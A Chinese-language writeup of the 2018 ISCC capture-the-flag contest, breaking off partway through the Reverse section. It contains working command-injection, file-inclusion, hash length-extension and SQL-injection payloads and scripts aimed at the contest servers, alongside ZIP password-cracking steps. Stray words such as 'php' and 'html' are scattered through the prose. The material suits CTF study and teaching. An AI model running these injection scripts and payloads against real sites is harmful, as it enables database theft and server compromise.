2018 ISCC Writeup

題解部分:Misc(除misc500)、Web(除Only Admin、Only admin can see flag、有種你來繞、試試看)、Reverse、Pwn、Mobilejavascript


Misc( Author: L1B0 )

What is that?(50)

題目是一張圖片,手指指向下提示圖片下面還有內容。php

第一種方法:Windows環境下能夠用010editor直接修改png的高而不會報錯,由於windows的圖片查看器會忽略錯誤的CRC校驗碼。因此咱們能夠直接修改png的高,以下圖。改完保存後便可看到flaghtml

1

第二種方法:Linux環境下直接修改可能會報錯,是由於CRC校驗錯誤。咱們能夠利用圖片中的的CRC校驗碼爆破出其本來的高。java

# -*- coding: utf-8 -*-
import binascii
import struct

crc32key = 0x402E2D95
width = '\x00\x00\x02\x72'
for i in range(256, 65535):
         height = struct.pack('>i', i)
         #CRC: 9A768270
         data = '\x49\x48\x44\x52' + width + height + '\x08\x06\x00\x00\x00'
         crc32result = binascii.crc32(data) & 0xffffffff
         if crc32result == crc32key:
                  print ''.join(map(lambda c: "%02X" % ord(c), height))
#height = '\x00\x00\x02\x72'

flag:_Welcome_To_ISCC_2018_python

以上兩種方法以及png格式在這篇博客中講解的很清楚,有不懂的能夠看看。linux

數字密文(50)

16進制轉字符串
4git

flag:it's easy!github

祕密電報(50)

培根密碼,五位一組解碼便可。web

flag:ILIKEISCC算法

重重諜影(100)

題目是一段base64,通過8次base64解碼後獲得

U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4%0AB5rKClEyYVtx6uZFIKtCXo71fR9Mcf6b0EzejhZ4pnhnJOl+zrZVlV0T9NUA+u1z%0AiN+jkpb6ERH86j7t45v4Mpe+j1gCpvaQgoKC0Oaa5kc=

%0A是字符'\n',記得替換掉。

搜了一下這串的頭,發現是AES加密,不須要密碼,在線解密 獲得

答案就是後面這句但已加密
缽娑遠吶者若奢顛悉吶集梵提梵蒙夢怯倒耶哆般究有慄

與佛論禪加密,解碼獲得

flag:把我複製走

有趣的ISCC(100)

一張png圖片,用010打開會發現圖片末尾有一段可疑的數據

\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d

這是html實體編碼,解開後發現是unicode,再解編碼就能夠獲得flag

>>> from HTMLParser import HTMLParser
>>> h = HTMLParser()
>>> h.unescape('''\u0066\u006c\u0061\u0067&
#92;u007b\u0069\u0073\u0063\u0&#48
;63\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d''')
u'\\u0066\\u006c\\u0061\\u0067\\u007b\\u0069\\u0073\\u0063\\u0063\\u0020\\u0069\\u0073\\u0020\\u0066\\u0075\\u006e\\u007d'
>>> h.unescape('''\u0066\u006c\u0061\u0067&
#92;u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\&#1
17;0066\u0075\u006e\u007d''').decode('unicode-esca
pe').encode('utf-8')
'flag{iscc is fun}'

Where is the FLAG?(100)

一張png圖片,binwalk發現有不少zlib數據,提出來沒發現什麼有用的。因而嘗試pngcheck一下。

2

發現是firework處理的,用adobe firework打開,發現有不少二維碼碎片,拼接獲得二維碼。

3

flag{a332b700-3621-11e7-a53b-6807154a58cf}

凱撒十三世(150)

題目描述以下

凱撒十三世在學會使用鍵盤後,向你扔了一串字符:「ebdgc697g95w3」,猜猜它吧。

因而先rot13變換一下獲得roqtp697t95j3

根據題目提示鍵盤移位,即q==>a,r==>f,7==>u,以此類推。

flag:yougotme

一隻貓的心思(150)

一張jpg圖片,binwalk沒發現異常,用010打開搜文件尾FFD9時發現後面還有一堆數據,手動提出來,file一下發現是.doc文件,改後綴名用word打開,內容以下。

名西三陵帝焰數誦諸山衆參哈瑟倒陰捨劫奉惜逝定雙月奉倒放足即闍重號貧老誦夷經友利普過孕北至花令藐燈害蒙能羅福羅夢開雙禮琉德護慈積寫阿璃度戲便通故西故敬於瑟行雙知宇信在礙哈數及息闍殺陵遊盧槃藥諦慈燈究幽燈豆急彌貧豆親誦梭量樹琉敬精者楞來西陰根五消夢衆羅持造彌六師彌怖精僧璃夫薩竟祖方夢訶橋經文路困如牟憐急尼念憂戲輸教乾楞能敬告樹來楞殊倒哈在紛除億茶涅根輸持麼阿空瑟穩住濟號他方牟月息盡即來通貧竟怖如槃精老盡恤及遊薩戲師毒兄寶下行普鄉釋下告劫惜進施盡豆告心蒙紛信勝東蒙求帝金量礙故弟帝普劫夜利除積衆老陀告沙師尊尼捨惜三依老懞守精於排族祖在師利寫首念涼梭妙經慄穆愛憐孝粟尊醯造解住時剛槃宗解牟息在量下恐教衆智焰便醯除寂想虛中顛老彌諸持山諦月真羅陵普槃下遠涅能開息燈和楞族根羅寶戒藥印困求及想月涅能進至賢金難殊毘瑟六毘捨薩槃族施帝遠念衆勝夜夢各萬息尊薩山哈多皁誦盡藥北及雙慄師幽持牟尼隸姪遠住孕寂以舍精花羅界去住勒排困多閦呼皁難於焰以慄婦愛闍多安逝告槃藐矜竟孕彌弟多者精師寡寫故璃舍各亦方特路茶豆積梭求號慄怖夷涼在顛豆勝住虛解鄉姪利琉三槃以舍劫鄉陀室普焰於鄉依朋故能劫通

也是與佛論禪加密,解碼獲得一串16進制數。這串數的解碼腳本以下。

import base64
import libnum

s = 0x523156615245644E536C564856544E565130354B553064524D6C524E546B4A56535655795645644F5530524857544A4553553943566B644A4D6C524E546C7052523155795645744F536C5248515670555330354452456456576B524854554A585231457956554E4F51305A4855544E4553303153566B64424D6C524A546B7058527A525A5245744F576C5A4854544A5554553554513063304E46524C54564A5652316B795255744F51305A4856544E5554564661566B6C464D6B5252546B70595231557A5245394E516C5A4856544A555355354B566B644E5756524E5455705752316B7A5255564F55305248566B465553564A4356306C4E4D6C524E546B4A565231557952453152556C564A56544A455555354B5530644E5756525054554A56523030795645314F516C5A4857544A4553303143566B64464D305648546B744352314A425645744F576C5A4855544A4651303543566B64564D6B524854554A555230557A52454E4F536C644855544A5554553543566B645A4D6B564A546C4E445231566152456C52576C5A4855544A5553303544516B64564D6C524C54564A55523045795245314F556C4A4856544E455355354B56556C564D6B564E546B70535230315A52457452536C564951544A555455354B565564535156524A54564A575230457956456C4E576C46485454525553303143566B6446576C564A54544A46
s = libnum.n2s(s)
#print s

s = base64.b64decode(s)
s = base64.b32decode(s)
#print s
s = libnum.n2s(eval('0x'+s))

s = base64.b64decode(s)
s = base64.b32decode(s)
s = libnum.n2s(eval('0x'+s))
print s

F1a9_is_I5cc_ZOl8_G3TP01NT

暴力XX不可取(150)

zip僞加密,直接修改僞加密位爲偶數便可直接打開,具體原理詳見博客

獲得vfppjrnerpbzvat,vfpp很像iscc的移位,因此凱撒密碼解密便可(其實也就是rot13)。

isccwearecoming

嵌套ZIPs(300)

這題有三層壓縮包加密,對應的解決方法分別是爆破,明文攻擊和僞加密。

第一層:爆破(手機號)

獲得第一層密碼18803718888

第二層:明文攻擊

注意:第一層的解壓縮應在linux環境下進行

從第一層解壓縮獲得兩個文件(2.zip和tips.txt),打開tips.txt看到第二層提示十位大小寫字母數字特殊符號構成的密碼 ,因而爆破是不可能了,嘗試明文攻擊。

linux環境下將tips.txt壓縮爲tips.zip。

對比2.zip和tips.zip的結構以下

能夠看到兩個zip裏的tips.txt文件crc32值相等,因而明文攻擊。

明文攻擊的結果以下

Advanced ZIP Password Recovery statistics:
Encrypted ZIP-file:2018ISCC\misc\300\3\2.zip
Total passwords: 0
Total time: 3m 40s 724ms
Average speed (passwords per second): 0
Password for this file: Z!C@t#f$12
Password in HEX: 5a 21 43 40 74 23 66 24 31 32

獲得第二層密碼Z!C@t#f$12

第三層:僞加密

將2.zip解壓獲得1.zip,用010打開以下圖

修改僞加密位05(奇數)爲00(偶數),保存打開獲得flag.txt

ISCC_!S_my_favor1te_CTF


Web( Author: Justian )

比較數字大小(50)

只要比服務器上的數字大就行了

根據題目描述,先在輸入框隨便輸入一個數字,提交響應是數字過小,因此輸入儘可能大的數,發現只能輸入3位,F12打開瀏覽器控制檯,在查看器中將 maxlength="3"刪掉,提交9999便可以拿到key

key is 768HKyu678567&*&K

web01(50)

題目給出了源代碼

<?php
highlight_file('2.php');
$flag='{***************}';
if (isset($_GET['password'])) {  
    if (strcmp($_GET['password'], $flag) == 0)  
        die('Flag: '.$flag);  
    else  
        print 'Invalid password';  
}  
?>

這是一道考察PHP特性的題目,strcmp函數有問題,只要使用get方法傳入password[]參數就能夠,參數值隨意,當strcmp比較的兩個參數類型不一樣時,一定返回0

Flag: ISCC{iscc_ef3w5r5tw_5rg5y6s3t3}

本地的誘惑

題目原來的目的是要在header中加X-Forwarded-For,可是不知道發生了什麼,主辦方表示環境沒法實現,直接打印了源碼送分。。。

ISCC{^&*(UIHKJjkadshf}

你能跨過去嗎?(100)

callback參數顯得很是特殊,裏面有幾個符號被url編碼了,先decode回去獲得

+/v+ +ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA+AC0-
嘗試base64解碼,在去掉+/v++後,能夠看出解出來的明文包含一段js代碼,只是每一個正常的字符後面都跟着一個亂碼,去掉後獲得js代碼

提交這個key值便可獲得flag:flag{Hell0World}

一切都是套路(100)

題目描述:好像有個文件忘記刪了
掃描一下目錄能夠發現index.php.txt泄露了源代碼

<?php
include "flag.php";
if ($_SERVER["REQUEST_METHOD"] != "POST")
    die("flag is here");
if (!isset($_POST["flag"]) )
    die($_403);
foreach ($_GET as $k => $v){
    $$k = $$v;
}
foreach ($_POST as $k => $v){
    $$k = $v;
}
if ( $_POST["flag"] !== $flag )
    die($_403);
echo "flag: ". $flag . "\n";
die($_200);
?>

兩個foreach中的代碼存在明顯的變量覆蓋漏洞,因爲POST參數必須包含flag,因此最後一個if判斷一定成立,因此只要POST參數包含flag參數,就會執行最後兩句代碼,而flag變量也確定會被覆蓋成用戶POST過去的flag參數內容,因此必須在第一個foreach中將原來的flag變量賦給$_200,因此GET的參數是_200=flag,POST參數包含flag,flag內容能夠是任意值或者爲空

ISCC{taolu2333333....}

你能繞過嗎?(100)

題目描述:沒過濾好啊
看題目描述覺得是注入,後來發現id參數只是個長整型數直接打印出來,並非注入點,f參數比較奇怪,後來發現構造這樣一個連接頁面會崩潰
http://118.190.152.202:8008/index.php?f=index
顯然就是對本頁面循環包含所致,直接用僞協議包含index.php,flag就在PHP代碼裏
http://118.190.152.202:8008/index.php?f=Php://filter/read=convert.base64-encode/resource=index

<!DOCTYPE html>
<html lang="en">
<head>
    <title>導航頁</title>
    <meta charset="UTF-8">
</head>
<body>
    <a href='index.php?f=articles&id=1'>ID: 1</href>
    </br>
    <a href='index.php?f=articles&id=2'>ID: 2</href>
    </br>
    <a href='index.php?f=articles&id=3'>ID: 3</href>
    </br>
    <a href='index.php?f=articles&id=4'>ID: 4</href>
    </br>
</body>
</html>

<?php
    #ISCC{LFIOOOOOOOOOOOOOO}
    if(isset($_GET['f'])){
        if(strpos($_GET['f'],"php") !== False){
            die("error...");
        }
        else{
            include($_GET['f'] . '.php');
        }
    }
    
?>

ISCC{LFIOOOOOOOOOOOOOO}

web02(100)

打開題目頁面,提示不是本機IP,嘗試XFF無效,PHP中檢查IP的值除了REMOTE_ADDR和HTTP_X_FORWARDED_FOR以外,還有一個不經常使用的HTTP_CLIENT_IP,在header中添加Client-ip字段,flag就來了

ISCC{iscc_059eeb8c0c33eb62}

請ping個人ip 看你能Ping通嗎?(150)

題目描述:我都過濾了,看你怎麼繞。
感受題目描述很差理解,剛開始真的去ping題目IP,考慮利用惡意ICMP包進行攻擊,好像想一想這是個掛在docker裏的題目,不可能那麼作,有關IP的題目,之前見過命令執行漏洞的,試着傳入ip參數,emmm,果真是命令執行,管道和&符合都被過濾了,用\n(%0a)能夠繼續執行命令
http://118.190.152.202:8018/?ip=localhost%0acat%0a/home/flag
ISCC{8a8646c7a2fce16b166fbc68ca65f9e4}

Please give me username and password!(150)

看題目意思就是要傳username和password兩個參數過去,嘗試用get方法傳參,收到的響應源碼是 Username is not right

Password is not numeric

,emmm,又是後臺源碼泄露

<?php
error_reporting(0);
$flag = "***********";  
if(isset($_GET['username'])){
    if (0 == strcasecmp($flag,$_GET['username'])){
    $a = fla;
    echo "very good!Username is right";
    }
    else{
    print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
    if (is_numeric($_GET['password'])){
        if (strlen($_GET['password']) < 4){
            if ($_GET['password'] > 999){
            $b = g;
            print '<p>very good!Password is right</p>';
        }else 
            print '<p>Password too little</p>';
        }else
        print '<p>Password too long</p>';
    }else
    print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
    print $flag;
?>

username的判斷和web01相同,username參數傳數組進去就能夠了;第二個判斷要求傳入一個長度小於4數值大於999的數字,科學計數法1e3便可:username[]=&password=1e3

flag{ISCC2018_Very_GOOD!}

Collide(250)

代碼審查題目

<?php
include "secret.php";
@$username=(string)$_POST['username'];
function enc($text){
    global $key;
    return md5($key.$text);
}
if(enc($username) === $_COOKIE['verify']){
    if(is_numeric(strpos($username, "admin"))){
        die($flag);
    }
    else{
        die("you are not admin");
    }
}
else{
    setcookie("verify", enc("guest"), time()+60*60*24*7);
    setcookie("len", strlen($key), time()+60*60*24*7);
}
show_source(__FILE__);

這份代碼的漏洞在於驗證過程徹底依賴$key即md5鹽值的保密,可是md5算法存在另一個漏洞——hash長度擴展漏洞,原理能夠參考往年ISCC的另外一道題的分析,由源代碼結合長度擴展攻擊的須要,發現要構造的username必須以guest開頭,幷包含admin,由於cookie中已經設置了key的長度爲46,因此一開始$key.$text有(46+5)*8=408位,填充滿512位只須要5個字符,緊接着填充原文長度,即5七、58填充\x98\x01,後面繼續填充6個\x00補滿一塊(512位),第二塊內容只寫admin,第一塊消息產生的鏈變量便是第二塊的初始鏈變量,該鏈變量便是cookie中的verify高低位互換的結果
在Assassin大佬的一篇博客裏有一份實現md5哈希單獨一塊的Python代碼,這樣寫起來就很方便了

#! /usr/bin/python2
# *__ coding: utf-8 __*
import assassin_md5  #將Assassin大佬的代碼保存爲assassin_md5.py放到exp.py同一目錄下
import hashlib
import urllib
import requests

#將哈希值分爲四段,並反轉該四字節爲小端序,做爲64第二次循環的輸入幻書
# 78cfc57d983b4a17e55828c001a3e781
s1 = 0x7dc5cf78
s2 = 0x174a3b98
s3 = 0xc02858e5
s4 = 0x81e7a301

secret = "a"*46 + "guest"
secret_admin= secret +'\x80'+'\x00'*4+'\x98\x01'+'\x00'*6+"admin"
r = assassin_md5.deal_rawInputMsg(secret_admin)
inp = r[len(r)/2:]      #咱們須要截斷的地方,也是咱們須要控制的地方
#print r
#print inp
#print urllib.urlencode({'username': secret_admin[46:]})
#print "getmein:"+assassin_md5.run_md5(s1,s2,s3,s4,inp)

url = 'http://118.190.152.202:8002'
headers = {"Cookie": "verify="+assassin_md5.run_md5(s1,s2,s3,s4,inp),
           "len": "46"}
data = {"username": str(secret_admin[46:])}

res = requests.post(headers = headers, url = url, data = data)
print res.content

運行獲得flag:ISCC{MD5_1s_n0t_5afe}

或者利用github上的一個工具hash_extender

$./hash_extender -d guest -s 78cfc57d983b4a17e55828c001a3e781 -f md5 -a admin --out-data-format=html -l 46 --quiet
5f585093a7fe86971766c3d25c43d0ebguest%80%00%00%00%00%98%01%00%00%00%00%00%00admin

guest前面32位就是md5值,剩下的是username參數的值,利用瀏覽器插件或者burpsuite改一下post的包便可

SQL注入的藝術(200)

題目已經說了是注入題,有隻有一個參數,因此注入點是肯定的,各類姿式試一遍,發現下面兩個輸入的結果不同,因此是寬字節注入
http://118.190.152.202:8015/index.php?id=1 %df%27 && 1=2%23
http://118.190.152.202:8015/index.php?id=-1 %df%27 || 1=1%23
既然是寬字節注入,直接扔進sqlmap跑就能夠了

sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 --dbs
sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 -D baji --tables
sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 -D baji -T admins --columns
sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 -D baji -T admins -C flag --dump

flag:Y0u_@@33w_dxxmn_9rf0Od

除了用sqlmap跑也能夠本身寫個腳本跑,快不少,因爲測試過程當中where條件沒有生效,因此在匹配數據庫的表名和字段名的部分有點繁瑣

#! /usr/bin/python2
# *__ coding: utf-8 __*
import requests
from bs4 import BeautifulSoup

#獲取數據庫名
url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,7,8%23"
res = requests.get(url)
soup = BeautifulSoup(res.content, 'lxml')
res = soup.find_all('tr')[0]
print("database: " + str(res)[32:-10])
db = str(res)[32:-10]

#獲取全部數據庫的表的總數
url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select count(*) from information_schema.tables),8%23"
res = requests.get(url)
soup = BeautifulSoup(res.content, 'lxml')
res = soup.find_all('tr')[1]
print("tables_count: " + str(res)[33:-10])
count = int(str(res)[33:-10])

#遍歷全部表名,找出屬於當前數據庫的表
tableList = []
for i in range(count):
    print("\r[+] " + str(i) + "/" + str(count), end='')
    url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select table_name from information_schema.tables limit " + str(i) + ",1),8%23"
    res = requests.get(url)
    soup = BeautifulSoup(res.content, 'lxml')
    res = soup.find_all('tr')[1]
    tb = str(res)[33:-10]
    url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select count(*) from " + db + "." + tb + "),8%23"
    res = requests.get(url)
    if(len(res.content) < 2000):
        continue
    tableList.append(db + "." + tb)

print("\n[OK] ", end='')
print(tableList)

#獲取字段總數
columnsList = []
url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select count(*) from information_schema.columns),8%23"
res = requests.get(url)
soup = BeautifulSoup(res.content, 'lxml')
res = soup.find_all('tr')[1]
print("columns_count: " + str(res)[33:-10])
count = int(str(res)[33:-10])

#遍歷全部字段名,找出當前數據庫中存在的字段
for i in range(count):
    print("\r[+] " + str(i) + "/" + str(count), end='')
    url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select column_name from information_schema.columns limit " + str(i) + ",1),8%23"
    res = requests.get(url)
    soup = BeautifulSoup(res.content, 'lxml')
    res = soup.find_all('tr')[1]
    cl = str(res)[33:-10]

    for tb in tableList:
        url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select count(" + cl + ") from " + tb + "),8%23"
        res = requests.get(url)
        if(len(res.content) < 2000):
            continue
        else:
            columnsList.append(tb)
            columnsList.append(cl)
            res = requests.get(url)
            soup = BeautifulSoup(res.content, 'lxml')
            res = soup.find_all('tr')[1]
            clcount = int(str(res)[33:-10])
            columnsList.append(clcount)

print("\n[OK] ", end='')
print(len(columnsList))
print(columnsList)

#dump當前數據庫數據
for i in range(0, len(columnsList), 3):
    print("[+] " + str(i) + "/" + str(len(columnsList)))
    for j in range(columnsList[i + 2]):
        url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select " + columnsList[i + 1] + " from " + columnsList[i] + " limit " + str(j) + ", 1),8%23"
        res = requests.get(url)
        if(len(res.content) < 2000):
            continue
        soup = BeautifulSoup(res.content, 'lxml')
        res = soup.find_all('tr')[1]
        print(columnsList[i], columnsList[i + 1], str(res)[33:-10])

執行結果顯示,數據庫名是baji,表名是admins,有一個字段名是flag

php是世界上最好的語言(150)

題目描述:據說你用php?
代碼審計題

<?php
header("content-type:text/html;charset=utf-8");
if(isset($_POST['username'])&isset($_POST['password'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
}
else{
    $username="hello";
    $password="hello";
}
if(md5($password) == 0){
    echo "xxxxx";
}
?>

明顯的PHP弱類型,隨便找一個md5值是0e開頭的字符串輸入到密碼框裝便可,繞過該比較後獲得一個連接,是另外一份審計代碼

<?php
include 'flag.php';
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");
show_source(__FILE__);

?>

連接默認參數a=hello,將hello改成GLOBALS,就能夠打印出當前PHP文件聲明的全部變量,能夠看到有一個是flag(固然,a=flag就只打印了flag)

ISCC{a39f9a1ff7eb4bab8a6a21b2ce111b4}

爲何這麼簡單啊(100)

根據題目提示,設置Referer爲http://edu.xss.tv,同時XFF設置爲110.110.110.110,進入第二關,查看源代碼能夠發現應該password.js,該文件內

var password = eval(function(p,a,c,k,e,r){e=String;if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'^$'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4',[],1,''.split('|'),0,{}));

裏面那段base64編碼的內容解碼出來就是,因此密碼輸入xinyiji.com,獲得flag:B1H3n5u0xI2n9JIscc

Sqli(250)

題目描述:注注注
沒有任何過濾的盲注,直接貼腳本

import requests
import string

dic = string.printable
url = 'http://118.190.152.202:8011/'
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86; rv:59.0) Gecko/20100101 Firefox/59.0',
           'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
           'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
           'Accept-Encoding': 'gzip, deflate',
           'Content-Type': 'application/x-www-form-urlencoded',
           'Content-Length': '28',
           'Cookie': 'PHPSESSID=rq3r0ek7jabavlv5bjntif8ul3',
           'DNT': '1',
           'Connection': 'keep-alive',
           'Upgrade-Insecure-Requests': '1'}
#username = '''admin' and if(ascii(substr(database(),{i},1))>{j},1,0)#''' % i,j

#for i in range(20):
#    username = '''admin' and if(length(database())=%s, 1, 0)#''' % str(i)
#    data = {'username': username,
#            'password': 'aaa'}
#    res = requests.post(headers = headers, url = url, data = data)
#    if('normal' in res.text):
#        dblen = i
#        break
#print(dblen)
dblen = 13
#
#db = ''
#for i in range(1, dblen + 1):
#    for j in dic:
#        username = '''admin' and if(substr(database(),%d,1)="%c", 1, 0)#''' % (i,j)
#        data = {'username': username,
#                'password': 'aaa'}
#        res = requests.post(headers = headers, url = url, data = data)
#        if('normal' in res.text):
#            db += j
#            print(db)
#            break
#
#print(db)
db = 'sqli_database'

#for i in range(20):
#    username = '''admin' and if((select count(table_name) from information_schema.tables where table_schema="sqli_database")=%d, 1, 0)#''' % i
#    data = {'username': username,
#            'password': 'aaa'}
#    res = requests.post(headers = headers, url = url, data = data)
#    if('normal' in res.text):
#        tbcount = i
#        break
#print(tbcount)
tbcount = 2

#tblen = []
#for i in range(tbcount):
#    for j in range(20):
#        username = '''admin' and if((select length(table_name) from information_schema.tables where table_schema="sqli_database" limit %d,1)=%d, 1, 0)#''' % (i, j)
#        data = {'username': username,
#                'password': 'aaa'}
#        res = requests.post(headers = headers, url = url, data = data)
#        if('normal' in res.text):
#            tblen.append(j)
#            break
#    print(tblen)
tblen = [4,4]
#
#tbnames = []
#for k in range(tbcount):
#    tb = ''
#    for i in range(1, tblen[k] + 1):
#        for j in dic:
#            username = '''admin' and if(substr((select table_name from information_schema.tables where table_schema="sqli_database" limit %d,1),%d,1)="%c", 1, 0)#''' % (k,i,j)
#            data = {'username': username,
#                    'password': 'aaa'}
#            res = requests.post(headers = headers, url = url, data = data)
#            if('normal' in res.text):
#                if(j == dic[-1]):
#                    i = dblen + 1
#                    break
#                tb += j
#                print(tb)
#                break
#    tbnames.append(tb)
#    
#print(tbnames)
tbnames = ['news', 'user']

#colcount = []
#for tb in tbnames:
#    for i in range(50):
#        username = '''admin' and if((select count(column_name) from information_schema.columns where table_name="%s")=%d, 1, 0)#''' % (tb,i)
#        data = {'username': username,
#                'password': 'aaa'}
#        res = requests.post(headers = headers, url = url, data = data)
#        if('normal' in res.text):
#            colcount.append(i)
#            print(i)
#            break
#print(colcount)
#colcount = [6, 45]
#
#collen = []
#for k in range(tbcount):
#    for i in range(colcount[k]):
#        for j in range(50):
#            username = '''admin' and if(length((select column_name from information_schema.columns where table_name="%s" limit %d,1))=%d, 1, 0)#''' % (tbnames[k], i, j)
#            data = {'username': username,
#                    'password': 'aaa'}
#            res = requests.post(headers = headers, url = url, data = data)
#            if('normal' in res.text):
#                collen.append(j)
#                break
#        print(collen)
#exit()
#collen = [5, 4, 30, 2, 4, 4, 4, 4, 8, 11, 11, 11, 11, 11, 9, 11, 13, 12, 9, 10, 15, 10, 10, 12, 10, 21, 16, 12, 15, 16, 16, 14, 19, 18, 16, 10, 12, 22, 8, 10, 11, 12, 13, 11, 15, 20, 6, 21, 8, 4, 2]
#
#colnames = []
#for k in range(tbcount):
#    for lm in range(colcount[k]):
#        col = ''
#        print(collen[lm])
#        for i in range(1, collen[lm] + 1):
#            for j in dic:
#                username = '''admin' and if(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1)="%c", 1, 0)#''' % (tbnames[k], lm, i, j)
#                data = {'username': username,
#                        'password': 'aaa'}
#                res = requests.post(headers = headers, url = url, data = data)
#                if('normal' in res.text):
#                    if(j == dic[-1]):
#                        i = collen[lm] + 1
#                        break
#                    col += j
#                    print(tbnames[k], col)
#                    break
#        colnames.append(tbnames[k] + ':' + col)
#
#print(colnames)
#colnames = ['news:title', 'news:note', 'news:kjafuibafuohnuvwnruniguankacbh', 'news:id', 'news:date', 'news:text', 'user:host ', 'user:user', 'user:password                      ', 'user:se', 'user:inse', 'user:upda', 'user:dele', 'user:crea', 'user:drop_pri', 'user:reload_priv', 'user:shutdown_pr', 'user:process_pri', 'user:file_priv  ', 'user:grant_priv ', 'user:reference', 'user:index_priv ', 'user:alter_priv   ', 'user:show_db_priv', 'user:super_pri', 'user:create_tmp', 'user:lock_tables_pri', 'user:execute_pr', 'user:repl_slave', 'user:repl_client_', 'user:create_vie', 'user:show_view_priv       ', 'user:create_routine_p', 'user:alter_routin', 'user:create_user_pri', 'user:event_priv      ', 'user:trigger_priv    ', 'user:create_tablesp', 'user:ssl_type           ', 'user:ssl_cipher        ', 'user:x509_issuer     ', 'user:x509_subje', 'user:max_question', 'user:max_updates           ', 'user:max_conn', 'user:max_user_c', 'user:plugin     ', 'user:authenticati', 'user:username     ', 'user:pass       ', 'user:id             ']

for i in range(50):
    username = '''admin' and if(((select count(kjafuibafuohnuvwnruniguankacbh) from sqli_database.news))="%d", 1, 0)#''' % (i)
    data = {'username': username,
            'password': 'aaa'}
    res = requests.post(headers = headers, url = url, data = data)
    if('normal' in res.text):
            datacount = i
            break
print(datacount)
#datacount = 1

for i in range(50):
    username = '''admin' and if(((select length(kjafuibafuohnuvwnruniguankacbh) from sqli_database.news))="%d", 1, 0)#''' % (i)
    data = {'username': username,
            'password': 'aaa'}
    res = requests.post(headers = headers, url = url, data = data)
    if('normal' in res.text):
            datalen = i
            break
print(datalen)

flag = ''
for i in range(1, datalen + 1):
    for j in dic:
        username = '''admin' and if(substr((select kjafuibafuohnuvwnruniguankacbh from sqli_database.news limit 0,1),%d,1)="%c", 1, 0)#''' % (i, j)
        data = {'username': username,
                'password': 'aaa'}
        res = requests.post(headers = headers, url = url, data = data)
        if('normal' in res.text):
            flag += j
            break
    print(flag)

flag{hahaha999999999}


Reverse( Author: M4x )

RSA256(100)

= =不明白rsa爲何要放到逆向裏
給了三個加密後的文件和公鑰證書,使用openssl查看n和e,n能夠直接在線分解,因而問題就變得很簡單了,直接生成私鑰,而後解密便可

$openssl rsa -pubin -text -modulus -in ./public.key
Public-Key: (256 bit)
Modulus:
    00:d9:9e:95:22:96:a6:d9:60:df:c2:50:4a:ba:54:
    5b:94:42:d6:0a:7b:9e:93:0a:ff:45:1c:78:ec:55:
    d5:55:eb
Exponent: 65537 (0x10001)
Modulus=D99E952296A6D960DFC2504ABA545B9442D60A7B9E930AFF451C78EC55D555EB
writing RSA key
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhANmelSKWptlg38JQSrpUW5RC1gp7npMK
/0UceOxV1VXrAgMBAAE=
-----END PUBLIC KEY-----
$rsatool -n 98432079271513130981267919056149161631892822707167177858831841699521774310891 -p 302825536744096741518546212761194311477 -q 325045504186436346209877301320131277983 -e 65537 -v DER -o privkey.key
Using (p, q) to initialise RSA instance

n =
d99e952296a6d960dfc2504aba545b9442d60a7b9e930aff451c78ec55d555eb

e = 65537 (0x10001)

d =
4547b732cbc3527104cb57c4728d6899b44c4994fae2713d6b594bc0f522a41

p = 302825536744096741518546212761194311477 (0xe3d213b0a3c9551f9fb1eb8d7c3daf35)

q = 325045504186436346209877301320131277983 (0xf4897caaba80236bdc1b59385c4bf49f)

dP = 14892453193253029554515379766076098477 (0xb342ea1b63c55825ba12d5b64ebc7ad)

dQ = 49314546715988473539600683690526958771 (0x2519a2df68323ead839466a1e566e4b3)

qInv = 202808955982661073098368600366992163939 (0x98939589a7919cfaf48f7486a78d8463)

Saving PEM as privkey.key
$for i in `ls encrypted*`;do openssl rsautl -decrypt -in $i -inkey ./privkey.key;done
flag{3b6d3806-4b2b
-11e7-95a0-
000c29d7e93d}

或者練習一下pycrypto的用法

fujian cat decrypt.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from base64 import b64decode, b64encode

with open("./privkey.key") as f:
    prikey = f.read()
